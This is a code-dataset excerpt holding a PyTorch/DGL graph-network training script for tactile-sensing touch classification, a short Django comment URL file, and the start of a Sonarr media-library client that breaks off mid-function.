epochs)\r\n ex = 0\r\n skipped = 0\r\n running_loss = 0.0\r\n epoch_loss = 0.0\r\n\r\n model.train()\r\n\r\n for graphs, label, _ in train_dataloader:\r\n batched_graph = [graph.to(self.device) for graph in graphs]\r\n label = label.to(self.device)\r\n pred = model(batched_graph) # forward computation on the batched graph\r\n if pred is not None:\r\n J = self.loss(pred, label) # calculate the cost function\r\n optimizer.zero_grad() # set the gradients to zero\r\n J.backward()\r\n optimizer.step() # backpropagate\r\n running_loss += J.detach().item()\r\n ex += batch_size\r\n if ex % 300 == 0:\r\n print(f'{epoch + 1}/{ex + 1}-{num_train} -> Loss: {running_loss / 300}')\r\n epoch_loss += running_loss\r\n running_loss = 0.0\r\n else:\r\n skipped += 1\r\n\r\n # calculate the loss\r\n epoch_loss = epoch_loss / (num_train - skipped)\r\n print(f\"Epoch {epoch + 1}, seconds: {time.time() - start_time} -- loss: {epoch_loss}\")\r\n history['loss'].append(epoch_loss)\r\n\r\n model.eval()\r\n model.zero_grad()\r\n\r\n # calculate the accuracy on test set and print\r\n num_correct = 0\r\n num_tests = 0\r\n val_loss = 0\r\n for batched_graph, label, _ in validation_dataloader:\r\n batched_graph = [graph.to(self.device) for graph in batched_graph]\r\n label = label.to(self.device)\r\n pred = model(batched_graph) # forward computation on the batched graph\r\n if pred is not None:\r\n J = self.loss(pred, label)\r\n val_loss += J.detach().item()\r\n num_correct += ((pred > 0.5) == label).sum().item()\r\n num_tests += (label.shape[0] * label.shape[1])\r\n acc = num_correct / num_tests\r\n acc_history.append(acc)\r\n val_loss = val_loss / len(validation_dataloader)\r\n print(f\"Val Loss for epoch {epoch + 1}: {val_loss}\")\r\n history['val_loss'].append(val_loss)\r\n print('Test of overall accuracy: ', acc)\r\n #According to the validation accuracy we save the best model, this is usefull to achieve better results with a very swinging learning as we obtained\r\n if (acc > best_acc):\r\n best_acc = acc\r\n self.save()\r\n\r\n ## Save the accuracy/epochs report ##\r\n with open('./logfile_GNNframes.txt', 'w') as fp:\r\n fp.write(json.dumps(acc_history))\r\n print('### Log saved ###')\r\n\r\n visualize_loss(history, model.name)\r\n\r\n return acc_history\r\n\r\n def evaluation(self, test_dataloader, info_encoder):\r\n model = self\r\n print('### Evaluation of the network ###')\r\n # calculate the accuracy on test set and print\r\n statistics = {0: {'class': 'big-small', 'obj info': []},\r\n 1: {'class': 'dynamic-static', 'obj info': []},\r\n 2: {'class': 'press-tap', 'obj info': []},\r\n 3: {'class': 'dangerous-safe', 'obj info': []}} #data structure used to verify the balance level of the test set\r\n num_correct_class = torch.zeros((1, 4)).to(self.device)\r\n num_test_class = torch.zeros((1, 4)).to(self.device)\r\n num_correct = 0.0\r\n num_tests = 0.0\r\n test_loss = 0.0\r\n y_pred = []\r\n y_test = []\r\n for batched_graph, label, info in test_dataloader:\r\n batched_graph = [graph.to(self.device) for graph in batched_graph]\r\n label = label.to(self.device)\r\n pred = model(batched_graph) # forward computation on the batched graph\r\n # Accuracy and Loss\r\n J = self.loss(pred, label)\r\n test_loss += J.detach().item()\r\n pred = pred > 0.5\r\n num_correct += (pred == label).sum().item()\r\n num_tests += (label.shape[0] * label.shape[1])\r\n\r\n # Confusion matrix\r\n y_pred.append(pred.int().tolist()[0])\r\n y_test.append(label.int().tolist()[0])\r\n\r\n # Per class accuracy\r\n num_correct_class += (pred == label)\r\n uncorrect_class = np.where((pred == label).to('cpu').numpy() == False)[1]\r\n for missclassified in uncorrect_class:\r\n statistics[missclassified]['obj info'].append(info)\r\n num_test_class += 1\r\n #overall accuracy\r\n acc = num_correct / num_tests\r\n print(f'Overall accuracy: {acc}, Loss: {test_loss / len(test_dataloader)}')\r\n # Per class accuracy\r\n num_correct_class = num_correct_class / num_test_class\r\n classes = ['Big/Small', 'Dynamic/Static', 'Press/Tap', 'Dangerous/Safe']\r\n for i in range(4):\r\n print(f'{classes[i]} -> Accuracy: {num_correct_class[0, i]}')\r\n # per-class confusion matrix\r\n matrix_confusion(y_test, y_pred, model.name)\r\n # missclassification histograms\r\n missclassified_obj(statistics, info_encoder, model.name)\r\n\r\n def save(self, file='GNN_frames.tar'):\r\n # Save the trained network #\r\n torch.save(self.state_dict(), file)\r\n\r\n def load(file):\r\n # Load a trained model #\r\n model = GConvNetFrames(device)\r\n model.load_state_dict(torch.load(file, map_location=torch.device('cpu')))\r\n print('### Model loaded ###')\r\n return model\r\n\r\n### Temporal Graph Approach ###\r\nclass GConvNetBigGraph(nn.Module):\r\n def __init__(self,\r\n window_size=30,\r\n stride_frac=1):\r\n super().__init__()\r\n self.name = 'big graph'\r\n self.window_size = window_size #sliding window size\r\n self.stride_frac = stride_frac #fraction of the overlap between a window and the following one\r\n\r\n hidden1 = 500 #first hidden dimension\r\n hidden2 = 20 #second hidden dimension\r\n output = 4\r\n\r\n self.loss = nn.BCELoss()\r\n\r\n #Network architecture\r\n self.conv1 = GraphConv(window_size, 250, bias=True, activation=nn.SiLU())\r\n self.conv2 = GraphConv(250, hidden1, bias=True, activation=nn.SiLU())\r\n self.hidden = nn.Linear(in_features=hidden1, out_features=hidden2, bias=True)\r\n self.acthidden = nn.SiLU()\r\n self.hidden2 = nn.Linear(in_features=hidden2, out_features=100, bias=True)\r\n self.acthidden2 = nn.SiLU()\r\n self.output = nn.Linear(in_features=100, out_features=output, bias=True)\r\n self.actout = nn.Sigmoid()\r\n\r\n self.count_parameters()\r\n\r\n def forward(self, graphs, features):\r\n # define a NN structure using GDL and Torch layers\r\n x = self.conv1(graphs, features)\r\n x = self.conv2(graphs, x)\r\n # Self attention methods, tested and discarted for weak results x = dgl.nn.SetTransformerEncoder(30, 4, 4, 20, dropouth = 0.9, dropouta=0.9)(graphs, features)\r\n graphs.ndata['h'] = x\r\n x = dgl.nn.MaxPooling()(graphs, x) # More complex pooling layer, tested and discarted for weak resutls dgl.nn.WeightAndSum(500)(graphs, x)#\r\n x = self.hidden(x)\r\n x = self.acthidden(x)\r\n x = nn.Dropout(p=0.2)(x)\r\n x = self.hidden2(x)\r\n x = self.acthidden2(x)\r\n x = nn.Dropout(p=0.2)(x)\r\n x = self.output(x)\r\n x = self.actout(x)\r\n return x\r\n\r\n def count_parameters(self):\r\n # Return a graphical representation of the network architecture #\r\n model = self\r\n table = PrettyTable([\"Modules\", \"Parameters\"])\r\n total_params = 0\r\n for name, parameter in model.named_parameters():\r\n if not parameter.requires_grad: continue\r\n param = parameter.numel()\r\n table.add_row([name, param])\r\n total_params += param\r\n print(table)\r\n # Print the number of total trainable parameters as measure of the network compexity\r\n print(f\"Total Trainable Params: {total_params}\")\r\n return total_params\r\n\r\n def train(self, train_dataloader, validation_dataloader, epochs=70, lr=0.0005, test_rate=0.8):\r\n model = self # create a model\r\n optimizer = torch.optim.Adam(model.parameters(), lr=lr) # choose an optimizer\r\n ## Configuring the DataLoader ##\r\n batch_size = 1\r\n num_train = train_dataloader.__len__()\r\n\r\n ## Training phase ##\r\n acc_history = []\r\n best_acc = 0\r\n for epoch in range(epochs):\r\n print('Epoch ', epoch + 1, 'of ', epochs)\r\n ex = 0\r\n running_loss = 0.0\r\n epoch_loss = 0.0\r\n for batched_graph, label, _ in train_dataloader:\r\n batched_graph = batched_graph[0]\r\n pred = model(batched_graph,\r\n batched_graph.ndata['feature'].float()) # forward computation on the batched graph\r\n J = self.loss(pred, label) # calculate the cost function\r\n optimizer.zero_grad() # set the gradients to zero\r\n J.backward()\r\n optimizer.step() # backpropagate\r\n running_loss += J.detach().item()\r\n ex += batch_size\r\n if ex % 200 == 0:\r\n print(f'{epoch}/{ex + 1} -> Loss: {running_loss / 200}')\r\n epoch_loss += running_loss\r\n running_loss = 0.0\r\n # calculate the accuracy on test set and print\r\n epoch_loss = epoch_loss / num_train\r\n print(f'Epoch Loss: {epoch_loss}')\r\n num_correct = 0.0\r\n num_tests = 0.0\r\n val_loss = 0.0\r\n for batched_graph, label, _ in test_dataloader:\r\n batched_graph = batched_graph[0]\r\n pred = model(batched_graph,\r\n batched_graph.ndata['feature'].float()) # forward computation on the batched graph\r\n J = self.loss(pred, label)\r\n val_loss += J.detach().item()\r\n num_correct += ((pred > 0.5) == label).sum().item()\r\n num_tests += (label.shape[0] * label.shape[1])\r\n acc = num_correct / num_tests\r\n acc_history.append(acc)\r\n print(f'Test of overall Accuracy: {acc}, Validation Loss: {val_loss}')\r\n #According to the validation accuracy we save the best model, this is usefull to achieve better results with a very swinging learning as we obtained\r\n if (acc > best_acc):\r\n best_acc = acc\r\n self.save()\r\n\r\n ## Save the accuracy/epochs report ##\r\n with open('./logfile.txt', 'w') as fp:\r\n fp.write(json.dumps(acc_history))\r\n print('### Log saved ###')\r\n\r\n return acc_history\r\n\r\n def save(self, file='GNN_BG.tar'):\r\n torch.save(self.state_dict(), file)\r\n\r\n def load(file):\r\n model = GConvNetBigGraph()\r\n model.load_state_dict(torch.load(file, map_location=torch.device('cpu')))\r\n print('### Model loaded ###')\r\n return model\r\n\r\n def evaluation(self, test_dataloader, info_encoder):\r\n model = self\r\n print('### Evaluation of the network ###')\r\n # calculate the accuracy on test set and print\r\n statistics = {0: {'class': 'big-small', 'obj info': []},\r\n 1: {'class': 'dynamic-static', 'obj info': []},\r\n 2: {'class': 'press-tap', 'obj info': []},\r\n 3: {'class': 'dangerous-safe', 'obj info': []}}\r\n num_correct_class = torch.zeros((1, 4))\r\n num_test_class = torch.zeros((1, 4))\r\n num_correct = 0.0\r\n num_tests = 0.0\r\n test_loss = 0.0\r\n y_pred = []\r\n y_test = []\r\n for batched_graph, label, info in test_dataloader:\r\n batched_graph = batched_graph[0]\r\n pred = model(batched_graph,\r\n batched_graph.ndata['feature'].float()) # forward computation on the batched graph\r\n # Accuracy and Loss\r\n J = self.loss(pred, label)\r\n test_loss += J.detach().item()\r\n pred = pred > 0.5\r\n num_correct += (pred == label).sum().item()\r\n num_tests += (label.shape[0] * label.shape[1])\r\n\r\n # Confusion matrix\r\n y_pred.append(pred.int().tolist()[0])\r\n y_test.append(label.int().tolist()[0])\r\n\r\n # Per class accuracy\r\n num_correct_class += (pred == label)\r\n uncorrect_class = np.where((pred == label).to('cpu').numpy() == False)[1]\r\n for missclassified in uncorrect_class:\r\n statistics[missclassified]['obj info'].append(info)\r\n num_test_class += 1\r\n #Overall accuracy\r\n acc = num_correct / num_tests\r\n print(f'Overall accuracy: {acc}, Loss: {test_loss / len(test_dataloader)}')\r\n #Per-class accuracy\r\n num_correct_class = num_correct_class / num_test_class\r\n classes = ['Big/Small', 'Dynamic/Static', 'Press/Tap', 'Dangerous/Safe']\r\n for i in range(4):\r\n print(f'{classes[i]} -> Accuracy: {num_correct_class[0, i]}')\r\n #Per-class confusion matrix\r\n matrix_confusion(y_test, y_pred, 'BigGraph')\r\n #Per-class confusion matrix\r\n missclassified_obj(statistics, info_encoder, 'BigGraph')\r\n\r\n\r\nif __name__ == '__main__':\r\n device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\r\n NET = 'GConvNetFrames' #choose the type of graph approach\r\n TRAIN = False #choose if train and evaluate (True) or evaluate only (False)\r\n if NET == 'GConvNetFrames':\r\n model = GConvNetFrames(device)\r\n\r\n train_dataloader, \\\r\n validation_dataloader, \\\r\n test_dataloader, \\\r\n info_encoder = get_dataloaders_from_csv(window_size=model.window_size, stride_frac=model.stride_frac)\r\n if(TRAIN):\r\n acc_hist = model.train_loop(train_dataloader, validation_dataloader)\r\n plt.plot(acc_hist)\r\n plt.title('accuracy history')\r\n plt.savefig(f'images/accuracy_{model.name}.jpg')\r\n plt.show()\r\n model_best = GConvNetFrames.load('./GNN_frames.tar')\r\n model_best.evaluation(test_dataloader, info_encoder)\r\n\r\n elif NET == 'GConvNetBigGraph':\r\n model = GConvNetBigGraph()\r\n\r\n train_dataloader, \\\r\n validation_dataloader, \\\r\n test_dataloader, \\\r\n info_encoder = get_dataloaders_from_csv(window_size=model.window_size, stride_frac=model.stride_frac)\r\n if(TRAIN):\r\n acc_hist = model.train(train_dataloader, validation_dataloader, epochs=70)\r\n plt.plot(acc_hist)\r\n plt.title('accuracy history')\r\n plt.savefig(f'images/accuracy_BG.jpg')\r\n plt.show()\r\n model_best = GConvNetBigGraph.load('./GNN_BG.tar')\r\n model_best.evaluation(test_dataloader, info_encoder)", "repo_name": "ghis9917/MRP_G17_Tactile_sensing_with_artificial_skin", "sub_path": "Classification/GNN_classes.py", "file_name": "GNN_classes.py", "file_ext": "py", "file_size_in_byte": 24774, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "sklearn.utils.multiclass.unique_labels", "line_number": 50, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 52, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "sklearn.metrics.multilabel_confusion_matrix", "line_number": 66, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "torch.uint8", "line_number": 80, "usage_type": "attribute"}, {"api_name": "numpy.squeeze", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.bincount", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "numpy.bincount", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.split", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "numpy.bincount", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 125, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 125, "usage_type": "name"}, {"api_name": "torch.nn.BCELoss", "line_number": 132, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 132, "usage_type": "name"}, {"api_name": "torch.nn.SiLU", "line_number": 134, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 134, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 140, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 140, "usage_type": "name"}, {"api_name": "dgl.nn.pytorch.GraphConv", "line_number": 141, "usage_type": "call"}, {"api_name": "dgl.nn.pytorch.GraphConv", "line_number": 142, "usage_type": "call"}, {"api_name": "torch.nn.GRU", "line_number": 144, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 144, "usage_type": "name"}, {"api_name": "dgl.nn.pytorch.GlobalAttentionPooling", "line_number": 146, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 146, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 146, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 148, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 148, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 149, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 149, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 151, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 151, "usage_type": "name"}, {"api_name": "prettytable.PrettyTable", "line_number": 160, "usage_type": "call"}, {"api_name": "dgl.batch", "line_number": 183, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 184, "usage_type": "call"}, {"api_name": "torch.reshape", "line_number": 187, "usage_type": "call"}, {"api_name": "torch.reshape", "line_number": 189, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 191, "usage_type": "call"}, {"api_name": "torch.reshape", "line_number": 191, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 199, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 199, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 212, "usage_type": "call"}, {"api_name": "time.time", "line_number": 241, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 273, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 288, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 289, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 312, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 331, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 336, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 336, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 341, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 341, "usage_type": "name"}, {"api_name": "torch.nn.BCELoss", "line_number": 354, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 354, "usage_type": "name"}, {"api_name": "dgl.nn.pytorch.GraphConv", "line_number": 357, "usage_type": "call"}, {"api_name": "torch.nn.SiLU", "line_number": 357, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 357, "usage_type": "name"}, {"api_name": "dgl.nn.pytorch.GraphConv", "line_number": 358, "usage_type": "call"}, {"api_name": "torch.nn.SiLU", "line_number": 358, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 358, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 359, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 359, "usage_type": "name"}, {"api_name": "torch.nn.SiLU", "line_number": 360, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 360, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 361, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 361, "usage_type": "name"}, {"api_name": "torch.nn.SiLU", "line_number": 362, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 362, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 363, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 363, "usage_type": "name"}, {"api_name": "torch.nn.Sigmoid", "line_number": 364, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 364, "usage_type": "name"}, {"api_name": "dgl.nn.MaxPooling", "line_number": 374, "usage_type": "call"}, {"api_name": "dgl.nn", "line_number": 374, "usage_type": "attribute"}, {"api_name": "torch.nn.Dropout", "line_number": 377, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 377, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 380, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 380, "usage_type": "name"}, {"api_name": "prettytable.PrettyTable", "line_number": 388, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 402, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 402, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 453, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 459, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 463, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 463, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 475, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 476, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 499, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 518, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 518, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 518, "usage_type": "call"}, {"api_name": "dataloaders.get_dataloaders_from_csv", "line_number": 527, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 530, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 530, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 531, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 531, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 532, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 532, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 533, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 533, "usage_type": "name"}, {"api_name": "dataloaders.get_dataloaders_from_csv", "line_number": 543, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 546, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 546, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 547, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 547, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 548, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 548, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 549, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 549, "usage_type": "name"}]} {"seq_id": "7639123291", "text": "from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('post-project/', views.comment_project, name=\"comment-projects\"),\n path('comment-post-project/', views.post_comment_project, name=\"post-comment-project\"),\n path('delete-comment-project/', views.delete_comment_project, name='delete-comment'),\n path('edit-comment/', views.edit_comment_project, name='edit-comment'),\n\n path('post-job/', views.comment_jobs, name=\"comment-jobs\"),\n path('comment-post-job/', views.post_comment_jobs, name=\"post-comment-jobs\"),\n path('delete-comment-job/', views.delete_comment_jobs, name='delete-comment-jobs'),\n path('edit-comment-job/', views.edit_comment_jobs, name='edit-comment-jobs'),\n]", "repo_name": "marouane-youssfi10/build-social-networking-with-django", "sub_path": "comment/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 839, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 5, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}]} {"seq_id": "312190062", "text": "import os\nfrom kink import inject\nimport json\nimport requests\nfrom src.domain.config.app_config import Config\nfrom src.domain.config.media_server_config import MediaServerConfig\nfrom src.infrastructure.api_query import ApiConfig\nfrom src.infrastructure.interfaces.imedia_server_repository import IMediaServerRepository\nfrom urllib.parse import quote\n\nfrom src.infrastructure.media_server_repository import IMediaServerRepositoryBase\nfrom src.infrastructure.sonarr.series import Series\nfrom src.logger import Logger\n\n\n@inject\nclass Sonarr(IMediaServerRepository):\n def __init__(self, logger: Logger, config: Config, client: requests, media_server: IMediaServerRepositoryBase):\n self._config: MediaServerConfig = config.sonarr\n self._logger = logger\n self._requests = client\n self._media_server = media_server\n self._api_key_identifier = \"SONARR_API_KEY\"\n\n @property\n def defaults(self) -> dict:\n return self._config.defaults\n\n @property\n def _api_query(self):\n return ApiConfig(url=self._config.url, port=self._config.port)\n\n @property\n def media_type(self):\n return Series\n\n @staticmethod\n def set_search_params(user_data: dict) -> dict:\n parameters = {\"term\": quote(user_data['title'])}\n return parameters\n\n def search(self, title: str = None, tmdbid: int = None) -> dict:\n parameters = {\"term\": quote(title)}\n query = self.generate_api_query(\"series/lookup\", parameters)\n\n return self._media_server.search(query, self._api_key_identifier)\n\n def get_my_library(self) -> list[Series]:\n query = self.generate_api_query(\"series/lookup\")\n return self._media_server.get_my_library(query, self._api_key_identifier, Series)\n\n def add_to_library(self, user_data: dict) -> bool:\n language_id = self._get_language_profile_id(\"English\")\n\n seasons = []\n\n for season in user_data['seasons']:\n if season[\"selected\"]:\n seasons.append({\"seasonNumber\": season[\"seasonNumber\"], \"monitored\": True})\n\n parameters = {\n \"term\": f\"tvdb:{user_data['id']}\",\n \"languageProfileId\": str(language_id),\n }\n\n req = self._requests.get(\n self.generate_api_query(\"series/lookup\", parameters),\n headers={'X-Api-Key': str(os.environ.get(\"SONARR_API_KEY\"))}\n )\n\n parsed_json = json.loads(req.text)[0]\n\n data = self._build_data(parsed_json, user_data['path'], user_data['quality_profile'], language_id, seasons)\n\n return self._media_server.add_to_library(data, self.generate_api_query(\"series\"), self._api_key_identifier)\n\n def remove_from_library(self, media_id: int) -> bool:\n query = 